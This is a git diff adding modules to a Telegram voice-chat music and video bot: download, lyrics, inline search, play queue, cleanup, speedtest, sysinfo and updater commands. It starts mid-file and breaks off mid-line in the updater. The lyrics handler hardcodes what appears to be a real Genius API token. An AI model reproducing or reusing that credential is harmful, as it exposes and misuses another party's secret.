+@Client.on_callback_query(filters.regex("cbadmin")) +async def cbadmin(_, query: CallbackQuery): + await query.answer("admin commands") + await query.edit_message_text( + f"""๐Ÿฎ here is the admin commands: + +ยป /pause - pause the stream +ยป /resume - resume the stream +ยป /skip - switch to next stream +ยป /stop - stop the streaming +ยป /vmute - mute the userbot on voice chat +ยป /vunmute - unmute the userbot on voice chat +ยป /volume `1-200` - adjust the volume of music (userbot must be admin) +ยป /reload - reload bot and refresh the admin data +ยป /userbotjoin - invite the userbot to join group +ยป /userbotleave - order userbot to leave from group + +โšก๏ธ __Powered by {BOT_NAME} AI__""", + reply_markup=InlineKeyboardMarkup( + [[InlineKeyboardButton("๐Ÿ”™ Go Back", callback_data="cbcmds")]] + ), + ) + +@Client.on_callback_query(filters.regex("cbsudo")) +async def cbsudo(_, query: CallbackQuery): + await query.answer("sudo commands") + await query.edit_message_text( + f"""๐Ÿฎ here is the sudo commands: + +ยป /rmw - clean all raw files +ยป /rmd - clean all downloaded files +ยป /sysinfo - show the system information +ยป /update - update your bot to latest version +ยป /restart - restart your bot +ยป /leaveall - order userbot to leave from all group + +โšก __Powered by {BOT_NAME} AI__""", + reply_markup=InlineKeyboardMarkup( + [[InlineKeyboardButton("๐Ÿ”™ Go Back", callback_data="cbcmds")]] + ), + ) + + +@Client.on_callback_query(filters.regex("cbmenu")) +async def cbmenu(_, query: CallbackQuery): + a = await _.get_chat_member(query.message.chat.id, query.from_user.id) + if not a.can_manage_voice_chats: + return await query.answer("๐Ÿ’ก Only admin with manage video chat permission that can tap this button !", show_alert=True) + chat_id = query.message.chat.id + user_id = query.message.from_user.id + buttons = menu_markup(user_id) + chat = query.message.chat.title + if chat_id in QUEUE: + await query.edit_message_text( + f"โš™๏ธ **Settings of** {chat}\n\nโธ : pause stream\nโ–ถ๏ธ : resume stream\n๐Ÿ”‡ : mute userbot\n๐Ÿ”Š : unmute userbot\nโน : stop stream", + reply_markup=InlineKeyboardMarkup(buttons), + ) + else: + await query.answer("โŒ nothing is currently streaming", show_alert=True) + + +@Client.on_callback_query(filters.regex("cls")) +async def close(_, query: CallbackQuery): + a = await _.get_chat_member(query.message.chat.id, query.from_user.id) + if not a.can_manage_voice_chats: + return await query.answer("๐Ÿ’ก Only admin with manage video chat permission that can tap this button !", show_alert=True) + await query.message.delete() diff --git a/program/downloader.py b/program/downloader.py new file mode 100644 index 0000000..8375b1b --- /dev/null +++ b/program/downloader.py @@ -0,0 +1,170 @@ +# Copyright (C) 2021 By Veez Music-Project + +from __future__ import unicode_literals + +import os +import re +import math +import time +import asyncio +import lyricsgenius +from random import randint +from urllib.parse import urlparse + +import aiofiles +import aiohttp +import requests +import wget +import yt_dlp +from pyrogram import Client, filters +from pyrogram.errors import FloodWait, MessageNotModified +from pyrogram.types import Message +from youtube_search import YoutubeSearch +from youtubesearchpython import VideosSearch +from yt_dlp import YoutubeDL + +from config import BOT_USERNAME as bn +from driver.decorators import humanbytes +from driver.filters import command, other_filters + + +ydl_opts = { + 'format': 'best', + 'keepvideo': True, + 'prefer_ffmpeg': False, + 'geo_bypass': True, + 'outtmpl': '%(title)s.%(ext)s', + 'quite': True +} + + +@Client.on_message(command(["song", f"song@{bn}"]) & ~filters.edited) +def song(_, message): + query = " ".join(message.command[1:]) + m = message.reply("๐Ÿ”Ž finding song...") + ydl_ops = {"format": "bestaudio[ext=m4a]"} + try: + results = YoutubeSearch(query, max_results=1).to_dict() + link = f"https://youtube.com{results[0]['url_suffix']}" + title = results[0]["title"][:40] + thumbnail = results[0]["thumbnails"][0] + thumb_name = f"{title}.jpg" + thumb = requests.get(thumbnail, allow_redirects=True) + open(thumb_name, "wb").write(thumb.content) + duration = results[0]["duration"] + + except Exception as e: + m.edit("โŒ song not found.\n\nplease give a valid song name.") + print(str(e)) + return + m.edit("๐Ÿ“ฅ downloading file...") + try: + with yt_dlp.YoutubeDL(ydl_ops) as ydl: + info_dict = ydl.extract_info(link, download=False) + audio_file = ydl.prepare_filename(info_dict) + ydl.process_info(info_dict) + rep = f"**๐ŸŽง Uploader @{bn}**" + secmul, dur, dur_arr = 1, 0, duration.split(":") + for i in range(len(dur_arr) - 1, -1, -1): + dur += int(float(dur_arr[i])) * secmul + secmul *= 60 + m.edit("๐Ÿ“ค uploading file...") + message.reply_audio( + audio_file, + caption=rep, + thumb=thumb_name, + parse_mode="md", + title=title, + duration=dur, + ) + m.delete() + except Exception as e: + m.edit("โŒ error, wait for bot owner to fix") + print(e) + + try: + os.remove(audio_file) + os.remove(thumb_name) + except Exception as e: + print(e) + + +@Client.on_message( + command(["vsong", f"vsong@{bn}", "video", f"video@{bn}"]) & ~filters.edited +) +async def vsong(client, message): + ydl_opts = { + "format": "best", + "keepvideo": True, + "prefer_ffmpeg": False, + "geo_bypass": True, + "outtmpl": "%(title)s.%(ext)s", + "quite": True, + } + query = " ".join(message.command[1:]) + try: + results = YoutubeSearch(query, max_results=1).to_dict() + link = f"https://youtube.com{results[0]['url_suffix']}" + title = results[0]["title"][:40] + thumbnail = results[0]["thumbnails"][0] + thumb_name = f"{title}.jpg" + thumb = requests.get(thumbnail, allow_redirects=True) + open(thumb_name, "wb").write(thumb.content) + results[0]["duration"] + results[0]["url_suffix"] + results[0]["views"] + message.from_user.mention + except Exception as e: + print(e) + try: + msg = await message.reply("๐Ÿ“ฅ **downloading video...**") + with YoutubeDL(ydl_opts) as ytdl: + ytdl_data = ytdl.extract_info(link, download=True) + file_name = ytdl.prepare_filename(ytdl_data) + except Exception as e: + return await msg.edit(f"๐Ÿšซ **error:** {e}") + preview = wget.download(thumbnail) + await msg.edit("๐Ÿ“ค **uploading video...**") + await message.reply_video( + file_name, + duration=int(ytdl_data["duration"]), + thumb=preview, + caption=ytdl_data["title"], + ) + try: + os.remove(file_name) + await msg.delete() + except Exception as e: + print(e) + + +@Client.on_message(command(["lyric", f"lyric@{bn}", "lyrics"])) +async def get_lyric_genius(_, message: Message): + if len(message.command) < 2: + return await message.reply_text("**usage:**\n\n/lyrics (song name)") + m = await message.reply_text("๐Ÿ” Searching lyrics...") + query = message.text.split(None, 1)[1] + x = "OXaVabSRKQLqwpiYOn-E4Y7k3wj-TNdL5RfDPXlnXhCErbcqVvdCF-WnMR5TBctI" + y = lyricsgenius.Genius(x) + y.verbose = False + S = y.search_song(query, get_full_info=False) + if S is None: + return await m.edit("โŒ `404` lyrics not found") + xxx = f""" +**Song Name:** __{query}__ +**Artist Name:** {S.artist} +**__Lyrics:__** +{S.lyrics}""" + if len(xxx) > 4096: + await m.delete() + filename = "lyrics.txt" + with open(filename, "w+", encoding="utf8") as out_file: + out_file.write(str(xxx.strip())) + await message.reply_document( + document=filename, + caption=f"**OUTPUT:**\n\n`Lyrics Text`", + quote=False, + ) + os.remove(filename) + else: + await m.edit(xxx) diff --git a/program/inline.py b/program/inline.py new file mode 100644 index 0000000..a54377f --- /dev/null +++ b/program/inline.py @@ -0,0 +1,48 @@ +from pyrogram import Client, errors +from pyrogram.types import ( + InlineQuery, + InlineQueryResultArticle, + InputTextMessageContent, +) +from youtubesearchpython import VideosSearch + + +@Client.on_inline_query() +async def inline(client: Client, query: InlineQuery): + answers = [] + search_query = query.query.lower().strip().rstrip() + + if search_query == "": + await client.answer_inline_query( + query.id, + results=answers, + switch_pm_text="type a youtube video name...", + switch_pm_parameter="help", + cache_time=0, + ) + else: + search = VideosSearch(search_query, limit=50) + + for result in search.result()["result"]: + answers.append( + InlineQueryResultArticle( + title=result["title"], + description="{}, {} views.".format( + result["duration"], result["viewCount"]["short"] + ), + input_message_content=InputTextMessageContent( + "๐Ÿ”— https://www.youtube.com/watch?v={}".format(result["id"]) + ), + thumb_url=result["thumbnails"][0]["url"], + ) + ) + + try: + await query.answer(results=answers, cache_time=0) + except errors.QueryIdInvalid: + await query.answer( + results=answers, + cache_time=0, + switch_pm_text="error: search timed out", + switch_pm_parameter="", + ) diff --git a/program/music.py b/program/music.py new file mode 100644 index 0000000..41d8ea0 --- /dev/null +++ b/program/music.py @@ -0,0 +1,283 @@ +# Copyright (C) 2021 By Veez Music-Project +# Commit Start Date 20/10/2021 +# Finished On 28/10/2021 + +from config import BOT_USERNAME, IMG_1, IMG_2 +from driver.design.chatname import CHAT_TITLE +from driver.design.thumbnail import thumb +from driver.filters import command, other_filters +from driver.queues import QUEUE, add_to_queue +from driver.utils import bash +from driver.veez import call_py, user + +# repository stuff +from program.utils.inline import stream_markup + +# important things +# pyrogram stuff +from pyrogram import Client +from pyrogram.errors import UserAlreadyParticipant, UserNotParticipant +from pyrogram.types import InlineKeyboardMarkup, Message + +# pytgcalls stuff +from pytgcalls import StreamType +from pytgcalls.types.input_stream import AudioPiped + +# youtube-dl stuff +from youtubesearchpython import VideosSearch + + +def ytsearch(query: str): + try: + search = VideosSearch(query, limit=1).result() + data = search["result"][0] + songname = data["title"] + url = data["link"] + duration = data["duration"] + thumbnail = f"https://i.ytimg.com/vi/{data['id']}/hqdefault.jpg" + return [songname, url, duration, thumbnail] + except Exception as e: + print(e) + return 0 + + +async def ytdl(link: str): + stdout, stderr = await bash( + f'youtube-dl -g -f "best[height<=?720][width<=?1280]" {link}' + ) + if stdout: + return 1, stdout + return 0, stderr + + +@Client.on_message(command(["play", f"play@{BOT_USERNAME}"]) & other_filters) +async def play(c: Client, m: Message): + await m.delete() + replied = m.reply_to_message + chat_id = m.chat.id + user_id = m.from_user.id + if m.sender_chat: + return await m.reply_text( + "you're an __Anonymous__ Admin !\n\nยป revert back to user account from admin rights." + ) + try: + aing = await c.get_me() + except Exception as e: + return await m.reply_text(f"error:\n\n{e}") + a = await c.get_chat_member(chat_id, aing.id) + if a.status != "administrator": + await m.reply_text( + f"๐Ÿ’ก To use me, I need to be an **Administrator** with the following **permissions**:\n\nยป โŒ __Delete messages__\nยป โŒ __Invite users__\nยป โŒ __Manage video chat__\n\nOnce done, type /reload" + ) + return + if not a.can_manage_voice_chats: + await m.reply_text( + "๐Ÿ’ก To use me, Give me the following permission below:" + + "\n\nยป โŒ __Manage video chat__\n\nOnce done, try again." + ) + return + if not a.can_delete_messages: + await m.reply_text( + "๐Ÿ’ก To use me, Give me the following permission below:" + + "\n\nยป โŒ __Delete messages__\n\nOnce done, try again." + ) + return + if not a.can_invite_users: + await m.reply_text( + "๐Ÿ’ก To use me, Give me the following permission below:" + + "\n\nยป โŒ __Add users__\n\nOnce done, try again." + ) + return + try: + ubot = (await user.get_me()).id + b = await c.get_chat_member(chat_id, ubot) + if b.status == "kicked": + await c.unban_chat_member(chat_id, ubot) + invitelink = await c.export_chat_invite_link(chat_id) + if invitelink.startswith("https://t.me/+"): + invitelink = invitelink.replace( + "https://t.me/+", "https://t.me/joinchat/" + ) + await user.join_chat(invitelink) + except UserNotParticipant: + try: + invitelink = await c.export_chat_invite_link(chat_id) + if invitelink.startswith("https://t.me/+"): + invitelink = invitelink.replace( + "https://t.me/+", "https://t.me/joinchat/" + ) + await user.join_chat(invitelink) + except UserAlreadyParticipant: + pass + except Exception as e: + return await m.reply_text( + f"โŒ **userbot failed to join**\n\n**reason**: `{e}`" + ) + if replied: + if replied.audio or replied.voice: + suhu = await replied.reply("๐Ÿ“ฅ **downloading audio...**") + dl = await replied.download() + link = replied.link + if replied.audio: + if replied.audio.title: + songname = replied.audio.title[:70] + else: + if replied.audio.file_name: + songname = replied.audio.file_name[:70] + else: + songname = "Audio" + elif replied.voice: + songname = "Voice Note" + if chat_id in QUEUE: + pos = add_to_queue(chat_id, songname, dl, link, "Audio", 0) + requester = f"[{m.from_user.first_name}](tg://user?id={m.from_user.id})" + buttons = stream_markup(user_id) + await suhu.delete() + await m.reply_photo( + photo=f"{IMG_1}", + reply_markup=InlineKeyboardMarkup(buttons), + caption=f"๐Ÿ’ก **Track added to queue ยป** `{pos}`\n\n๐Ÿ—‚ **Name:** [{songname}]({link}) | `music`\n๐Ÿ’ญ **Chat:** `{chat_id}`\n๐Ÿงธ **Request by:** {requester}", + ) + else: + try: + await suhu.edit("๐Ÿ”„ **Joining vc...**") + await call_py.join_group_call( + chat_id, + AudioPiped( + dl, + ), + stream_type=StreamType().local_stream, + ) + add_to_queue(chat_id, songname, dl, link, "Audio", 0) + await suhu.delete() + buttons = stream_markup(user_id) + requester = ( + f"[{m.from_user.first_name}](tg://user?id={m.from_user.id})" + ) + await m.reply_photo( + photo=f"{IMG_2}", + reply_markup=InlineKeyboardMarkup(buttons), + caption=f"๐Ÿ—‚ **Name:** [{songname}]({link}) | `music`\n๐Ÿ’ญ **Chat:** `{chat_id}`\n๐Ÿงธ **Request by:** {requester}", + ) + except Exception as e: + await suhu.delete() + await m.reply_text(f"๐Ÿšซ error:\n\nยป {e}") + else: + if len(m.command) < 2: + await m.reply( + "ยป reply to an **audio file** or **give something to search.**" + ) + else: + suhu = await c.send_message(chat_id, "๐Ÿ” **Searching...**") + query = m.text.split(None, 1)[1] + search = ytsearch(query) + if search == 0: + await suhu.edit("โŒ **no results found.**") + else: + songname = search[0] + title = search[0] + url = search[1] + duration = search[2] + thumbnail = search[3] + userid = m.from_user.id + gcname = m.chat.title + ctitle = await CHAT_TITLE(gcname) + image = await thumb(thumbnail, title, userid, ctitle) + veez, ytlink = await ytdl(url) + if veez == 0: + await suhu.edit(f"โŒ yt-dl issues detected\n\nยป `{ytlink}`") + else: + if chat_id in QUEUE: + pos = add_to_queue( + chat_id, songname, ytlink, url, "Audio", 0 + ) + await suhu.delete() + buttons = stream_markup(user_id) + requester = f"[{m.from_user.first_name}](tg://user?id={m.from_user.id})" + await m.reply_photo( + photo=image, + reply_markup=InlineKeyboardMarkup(buttons), + caption=f"๐Ÿ’ก **Track added to queue ยป** `{pos}`\n\n๐Ÿ—‚ **Name:** [{songname}]({url}) | `music`\n**โฑ Duration:** `{duration}`\n๐Ÿงธ **Request by:** {requester}", + ) + else: + try: + await suhu.edit("๐Ÿ”„ **Joining vc...**") + await call_py.join_group_call( + chat_id, + AudioPiped( + ytlink, + ), + stream_type=StreamType().local_stream, + ) + add_to_queue(chat_id, songname, ytlink, url, "Audio", 0) + await suhu.delete() + buttons = stream_markup(user_id) + requester = f"[{m.from_user.first_name}](tg://user?id={m.from_user.id})" + await m.reply_photo( + photo=image, + reply_markup=InlineKeyboardMarkup(buttons), + caption=f"๐Ÿ—‚ **Name:** [{songname}]({url}) | `music`\n**โฑ Duration:** `{duration}`\n๐Ÿงธ **Request by:** {requester}", + ) + except Exception as ep: + await suhu.delete() + await m.reply_text(f"๐Ÿšซ error: `{ep}`") + + else: + if len(m.command) < 2: + await m.reply( + "ยป reply to an **audio file** or **give something to search.**" + ) + else: + suhu = await c.send_message(chat_id, "๐Ÿ” **Searching...**") + query = m.text.split(None, 1)[1] + search = ytsearch(query) + if search == 0: + await suhu.edit("โŒ **no results found.**") + else: + songname = search[0] + title = search[0] + url = search[1] + duration = search[2] + thumbnail = search[3] + userid = m.from_user.id + gcname = m.chat.title + ctitle = await CHAT_TITLE(gcname) + image = await thumb(thumbnail, title, userid, ctitle) + veez, ytlink = await ytdl(url) + if veez == 0: + await suhu.edit(f"โŒ yt-dl issues detected\n\nยป `{ytlink}`") + else: + if chat_id in QUEUE: + pos = add_to_queue(chat_id, songname, ytlink, url, "Audio", 0) + await suhu.delete() + requester = ( + f"[{m.from_user.first_name}](tg://user?id={m.from_user.id})" + ) + buttons = stream_markup(user_id) + await m.reply_photo( + photo=image, + reply_markup=InlineKeyboardMarkup(buttons), + caption=f"๐Ÿ’ก **Track added to queue ยป** `{pos}`\n\n๐Ÿ—‚ **Name:** [{songname}]({url}) | `music`\n**โฑ Duration:** `{duration}`\n๐Ÿงธ **Request by:** {requester}", + ) + else: + try: + await suhu.edit("๐Ÿ”„ **Joining vc...**") + await call_py.join_group_call( + chat_id, + AudioPiped( + ytlink, + ), + stream_type=StreamType().local_stream, + ) + add_to_queue(chat_id, songname, ytlink, url, "Audio", 0) + await suhu.delete() + requester = f"[{m.from_user.first_name}](tg://user?id={m.from_user.id})" + buttons = stream_markup(user_id) + await m.reply_photo( + photo=image, + reply_markup=InlineKeyboardMarkup(buttons), + caption=f"๐Ÿ—‚ **Name:** [{songname}]({url}) | `music`\n**โฑ Duration:** `{duration}`\n๐Ÿงธ **Request by:** {requester}", + ) + except Exception as ep: + await suhu.delete() + await m.reply_text(f"๐Ÿšซ error: `{ep}`") diff --git a/program/playlist.py b/program/playlist.py new file mode 100644 index 0000000..9f39444 --- /dev/null +++ b/program/playlist.py @@ -0,0 +1,39 @@ +# Copyright (C) 2021 By Veez Music-Project +# Commit Start Date 20/10/2021 +# Finished On 28/10/2021 + +from config import BOT_USERNAME +from pyrogram.types import ( + CallbackQuery, + InlineKeyboardButton, + InlineKeyboardMarkup, + Message, +) +from pyrogram import Client, filters +from driver.queues import QUEUE, get_queue +from driver.filters import command, other_filters + + +keyboard = InlineKeyboardMarkup( + [[InlineKeyboardButton("๐Ÿ—‘ Close", callback_data="cls")]] +) + + +@Client.on_message(command(["playlist", f"playlist@{BOT_USERNAME}", "queue", f"queue@{BOT_USERNAME}"]) & other_filters) +async def playlist(client, m: Message): + chat_id = m.chat.id + if chat_id in QUEUE: + chat_queue = get_queue(chat_id) + if len(chat_queue)==1: + await m.reply(f"๐Ÿ’ก **Currently Streaming:**\n\nโ€ข [{chat_queue[0][0]}]({chat_queue[0][2]}) | `{chat_queue[0][3]}`", reply_markup=keyboard, disable_web_page_preview=True) + else: + QUE = f"๐Ÿ’ก **Currently Streaming:**\n\nโ€ข [{chat_queue[0][0]}]({chat_queue[0][2]}) | `{chat_queue[0][3]}` \n\n**๐Ÿ“– Queue List:**\n" + l = len(chat_queue) + for x in range (1, l): + han = chat_queue[x][0] + hok = chat_queue[x][2] + hap = chat_queue[x][3] + QUE = QUE + "\n" + f"**#{x}** - [{han}]({hok}) | `{hap}`" + await m.reply(QUE, reply_markup=keyboard, disable_web_page_preview=True) + else: + await m.reply("โŒ **nothing is currently streaming.**") diff --git a/program/rmtrash.py b/program/rmtrash.py new file mode 100644 index 0000000..54649f0 --- /dev/null +++ b/program/rmtrash.py @@ -0,0 +1,50 @@ +# Copyright (C) 2021 By VeezMusicProject + +import os +from pyrogram import Client, filters +from pyrogram.types import Message +from driver.filters import command, other_filters +from driver.decorators import sudo_users_only, errors + +downloads = os.path.realpath("program/downloads") +raw = os.path.realpath(".") + +@Client.on_message(command(["rmd", "clear"]) & ~filters.edited) +@errors +@sudo_users_only +async def clear_downloads(_, message: Message): + ls_dir = os.listdir(downloads) + if ls_dir: + for file in os.listdir(downloads): + os.remove(os.path.join(downloads, file)) + await message.reply_text("โœ… **deleted all downloaded files**") + else: + await message.reply_text("โŒ **no files downloaded**") + + +@Client.on_message(command(["rmw", "clean"]) & ~filters.edited) +@errors +@sudo_users_only +async def clear_raw(_, message: Message): + ls_dir = os.listdir(raw) + if ls_dir: + for file in os.listdir(raw): + if file.endswith('.raw'): + os.remove(os.path.join(raw, file)) + await message.reply_text("โœ… **deleted all raw files**") + else: + await message.reply_text("โŒ **no raw files found**") + + +@Client.on_message(command(["cleanup"]) & ~filters.edited) +@errors +@sudo_users_only +async def cleanup(_, message: Message): + pth = os.path.realpath(".") + ls_dir = os.listdir(pth) + if ls_dir: + for dta in os.listdir(pth): + os.system("rm -rf *.raw *.jpg") + await message.reply_text("โœ… **cleaned**") + else: + await message.reply_text("โœ… **already cleaned**") diff --git a/program/speedtest.py b/program/speedtest.py new file mode 100644 index 0000000..a7f94bd --- /dev/null +++ b/program/speedtest.py @@ -0,0 +1,50 @@ +# credit to TeamYukki for this speedtest module + +import os +import wget +import speedtest + +from program.utils.formatters import bytes +from driver.filters import command, other_filters +from driver.decorators import sudo_users_only +from config import BOT_USERNAME as bname +from driver.veez import bot as app +from pyrogram import Client, filters +from pyrogram.types import Message + + +@Client.on_message(command(["speedtest", f"speedtest@{bname}"]) & ~filters.edited) +async def statsguwid(_, message: Message): + m = await message.reply_text("Running server speedtest.") + try: + test = speedtest.Speedtest() + test.get_best_server() + m = await m.edit("Running download speedtest..") + test.download() + m = await m.edit("Running upload speedtest...") + test.upload() + test.results.share() + result = test.results.dict() + except Exception as e: + return await m.edit(e) + m = await m.edit("Sharing speedtest results....") + path = wget.download(result["share"]) + + output = f"""๐Ÿ’ก **SpeedTest Results** + +**Client:** +**ISP:** {result['client']['isp']} +**Country:** {result['client']['country']} + +**Server:** +**Name:** {result['server']['name']} +**Country:** {result['server']['country']}, {result['server']['cc']} +**Sponsor:** {result['server']['sponsor']} +**Latency:** {result['server']['latency']} + +โšก๏ธ **Ping:** {result['ping']}""" + msg = await app.send_photo( + chat_id=message.chat.id, photo=path, caption=output + ) + os.remove(path) + await m.delete() diff --git a/program/start.py b/program/start.py new file mode 100644 index 0000000..7b99e55 --- /dev/null +++ b/program/start.py @@ -0,0 +1,166 @@ +from datetime import datetime +from sys import version_info +from time import time + +from config import ( + ALIVE_IMG, + ALIVE_NAME, + BOT_NAME, + BOT_USERNAME, + GROUP_SUPPORT, + OWNER_NAME, + UPDATES_CHANNEL, +) +from program import __version__ +from driver.veez import user +from driver.filters import command, other_filters +from pyrogram import Client, filters +from pyrogram import __version__ as pyrover +from pytgcalls import (__version__ as pytover) +from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message + +__major__ = 0 +__minor__ = 2 +__micro__ = 1 + +__python_version__ = f"{version_info[0]}.{version_info[1]}.{version_info[2]}" + + +START_TIME = datetime.utcnow() +START_TIME_ISO = START_TIME.replace(microsecond=0).isoformat() +TIME_DURATION_UNITS = ( + ("week", 60 * 60 * 24 * 7), + ("day", 60 * 60 * 24), + ("hour", 60 * 60), + ("min", 60), + ("sec", 1), +) + + +async def _human_time_duration(seconds): + if seconds == 0: + return "inf" + parts = [] + for unit, div in TIME_DURATION_UNITS: + amount, seconds = divmod(int(seconds), div) + if amount > 0: + parts.append("{} {}{}".format(amount, unit, "" if amount == 1 else "s")) + return ", ".join(parts) + + +@Client.on_message( + command(["start", f"start@{BOT_USERNAME}"]) & filters.private & ~filters.edited +) +async def start_(client: Client, message: Message): + await message.reply_text( + f"""โœจ **Welcome {message.from_user.mention()} !**\n +๐Ÿ’ญ [{BOT_NAME}](https://t.me/{BOT_USERNAME}) **Allows you to play music and video on groups through the new Telegram's video chats!** + +๐Ÿ’ก **Find out all the Bot's commands and how they work by clicking on the ยป ๐Ÿ“š Commands button!** + +๐Ÿ”– **To know how to use this bot, please click on the ยป โ“ Basic Guide button!** +""", + reply_markup=InlineKeyboardMarkup( + [ + [ + InlineKeyboardButton( + "โž• Add me to your Group โž•", + url=f"https://t.me/{BOT_USERNAME}?startgroup=true", + ) + ], + [InlineKeyboardButton("โ“ Basic Guide", callback_data="cbhowtouse")], + [ + InlineKeyboardButton("๐Ÿ“š Commands", callback_data="cbcmds"), + InlineKeyboardButton("โค๏ธ Donate", url=f"https://t.me/{OWNER_NAME}"), + ], + [ + InlineKeyboardButton( + "๐Ÿ‘ฅ Official Group", url=f"https://t.me/{GROUP_SUPPORT}" + ), + InlineKeyboardButton( + "๐Ÿ“ฃ Official Channel", url=f"https://t.me/{UPDATES_CHANNEL}" + ), + ], + [ + InlineKeyboardButton( + "๐ŸŒ Source Code", url="https://github.com/levina-lab/video-stream" + ) + ], + ] + ), + disable_web_page_preview=True, + ) + + +@Client.on_message( + command(["alive", f"alive@{BOT_USERNAME}"]) & filters.group & ~filters.edited +) +async def alive(c: Client, message: Message): + chat_id = message.chat.id + current_time = datetime.utcnow() + uptime_sec = (current_time - START_TIME).total_seconds() + uptime = await _human_time_duration(int(uptime_sec)) + + keyboard = InlineKeyboardMarkup( + [ + [ + InlineKeyboardButton("โœจ Group", url=f"https://t.me/{GROUP_SUPPORT}"), + InlineKeyboardButton( + "๐Ÿ“ฃ Channel", url=f"https://t.me/{UPDATES_CHANNEL}" + ), + ] + ] + ) + + alive = f"**Hello {message.from_user.mention()}, i'm {BOT_NAME}**\n\n๐Ÿง‘๐Ÿผโ€๐Ÿ’ป My Master: [{ALIVE_NAME}](https://t.me/{OWNER_NAME})\n๐Ÿ‘พ Bot Version: `v{__version__}`\n๐Ÿ”ฅ Pyrogram Version: `{pyrover}`\n๐Ÿ Python Version: `{__python_version__}`\nโœจ PyTgCalls Version: `{pytover.__version__}`\n๐Ÿ†™ Uptime Status: `{uptime}`\n\nโค **Thanks for Adding me here, for playing video & music on your Group's video chat**" + + await c.send_photo( + chat_id, + photo=f"{ALIVE_IMG}", + caption=alive, + reply_markup=keyboard, + ) + + +@Client.on_message(command(["ping", f"ping@{BOT_USERNAME}"]) & ~filters.edited) +async def ping_pong(client: Client, message: Message): + start = time() + m_reply = await message.reply_text("pinging...") + delta_ping = time() - start + await m_reply.edit_text("๐Ÿ“ `PONG!!`\n" f"โšก๏ธ `{delta_ping * 1000:.3f} ms`") + + +@Client.on_message(command(["uptime", f"uptime@{BOT_USERNAME}"]) & ~filters.edited) +async def get_uptime(client: Client, message: Message): + current_time = datetime.utcnow() + uptime_sec = (current_time - START_TIME).total_seconds() + uptime = await _human_time_duration(int(uptime_sec)) + await message.reply_text( + "๐Ÿค– bot status:\n" + f"โ€ข **uptime:** `{uptime}`\n" + f"โ€ข **start time:** `{START_TIME_ISO}`" + ) + + +@Client.on_message(filters.new_chat_members) +async def new_chat(c: Client, m: Message): + ass_uname = (await user.get_me()).username + bot_id = (await c.get_me()).id + for member in m.new_chat_members: + if member.id == bot_id: + return await m.reply( + "โค๏ธ Thanks for adding me to the **Group** !\n\n" + "Appoint me as administrator in the **Group**, otherwise I will not be able to work properly, and don't forget to type `/userbotjoin` for invite the assistant.\n\n" + "Once done, then type `/reload`", + reply_markup=InlineKeyboardMarkup( + [ + [ + InlineKeyboardButton("๐Ÿ“ฃ Channel", url=f"https://t.me/{UPDATES_CHANNEL}"), + InlineKeyboardButton("๐Ÿ’ญ Support", url=f"https://t.me/{GROUP_SUPPORT}") + ], + [ + InlineKeyboardButton("๐Ÿ‘ค Assistant", url=f"https://t.me/{ass_uname}") + ] + ] + ) + ) diff --git a/program/sysinfo.py b/program/sysinfo.py new file mode 100644 index 0000000..d85bb6d --- /dev/null +++ b/program/sysinfo.py @@ -0,0 +1,53 @@ +# Copyright (C) 2021 Veez Project + +import re +import uuid +import socket + +import psutil +import platform +from config import BOT_USERNAME +from driver.filters import command +from pyrogram import Client, filters +from driver.decorators import sudo_users_only, humanbytes + + +# FETCH SYSINFO + +@Client.on_message(command(["sysinfo", f"sysinfo@{BOT_USERNAME}"]) & ~filters.edited) +@sudo_users_only +async def give_sysinfo(client, message): + splatform = platform.system() + platform_release = platform.release() + platform_version = platform.version() + architecture = platform.machine() + hostname = socket.gethostname() + ip_address = socket.gethostbyname(socket.gethostname()) + mac_address = ":".join(re.findall("..", "%012x" % uuid.getnode())) + processor = platform.processor() + ram = humanbytes(round(psutil.virtual_memory().total)) + cpu_freq = psutil.cpu_freq().current + if cpu_freq >= 1000: + cpu_freq = f"{round(cpu_freq / 1000, 2)}GHz" + else: + cpu_freq = f"{round(cpu_freq, 2)}MHz" + du = psutil.disk_usage(client.workdir) + psutil.disk_io_counters() + disk = f"{humanbytes(du.used)} / {humanbytes(du.total)} " f"({du.percent}%)" + cpu_len = len(psutil.Process().cpu_affinity()) + somsg = f"""๐Ÿ–ฅ **System Information** + +**PlatForm :** `{splatform}` +**PlatForm - Release :** `{platform_release}` +**PlatForm - Version :** `{platform_version}` +**Architecture :** `{architecture}` +**HostName :** `{hostname}` +**IP :** `{ip_address}` +**Mac :** `{mac_address}` +**Processor :** `{processor}` +**Ram : ** `{ram}` +**CPU :** `{cpu_len}` +**CPU FREQ :** `{cpu_freq}` +**DISK :** `{disk}` + """ + await message.reply(somsg) diff --git a/program/updater.py b/program/updater.py new file mode 100644 index 0000000..5fdf9d2 --- /dev/null +++ b/program/updater.py @@ -0,0 +1,78 @@ +import os +import re +import sys +import asyncio +import subprocess +from asyncio import sleep + +from git import Repo +from pyrogram.types import Message +from driver.filters import command +from pyrogram import Client, filters +from os import system, execle, environ +from driver.decorators import sudo_users_only +from git.exc import InvalidGitRepositoryError +from config import UPSTREAM_REPO, BOT_USERNAME + + + +def gen_chlog(repo, diff): + upstream_repo_url = Repo().remotes[0].config_reader.get("url").replace(".git", "") + ac_br = repo.active_branch.name + ch_log = tldr_log = "" + ch = f"updates for [{ac_br}]:" + ch_tl = f"updates for {ac_br}:" + d_form = "%d/%m/%y || %H:%M" + for c in repo.iter_commits(diff): + ch_log += ( + f"\n\n๐Ÿ’ฌ {c.count()} ๐Ÿ—“ [{c.committed_datetime.strftime(d_form)}]\n" + f"[{c.summary}] ๐Ÿ‘จโ€๐Ÿ’ป {c.author}" + ) + tldr_log += f"\n\n๐Ÿ’ฌ {c.count()} ๐Ÿ—“ [{c.committed_datetime.strftime(d_form)}]\n[{c.summary}] ๐Ÿ‘จโ€๐Ÿ’ป {c.author}" + if ch_log: + return str(ch + ch_log), str(ch_tl + tldr_log) + return ch_log, tldr_log + + +def updater(): + try: + repo = Repo() + except InvalidGitRepositoryError: + repo = Repo.init() + origin = repo.create_remote("upstream", UPSTREAM_REPO) + origin.fetch() + repo.create_head("main", origin.refs.main) + repo.heads.main.set_tracking_branch(origin.refs.main) + repo.heads.main.checkout(True) + ac_br = repo.active_branch.name + if "upstream" in repo.remotes: + ups_rem = repo.remote("upstream") + else: + ups_rem = repo.create_remote("upstream", UPSTREAM_REPO) + ups_rem.fetch(ac_br) + changelog, tl_chnglog = gen_chlog(repo, f"HEAD..upstream/{ac_br}") + return bool(changelog) + + +@Client.on_message(command(["update", f"update@{BOT_USERNAME}"]) & ~filters.edited) +@sudo_users_only +async def update_repo(_, message: Message): + chat_id = message.chat.id + msg = await 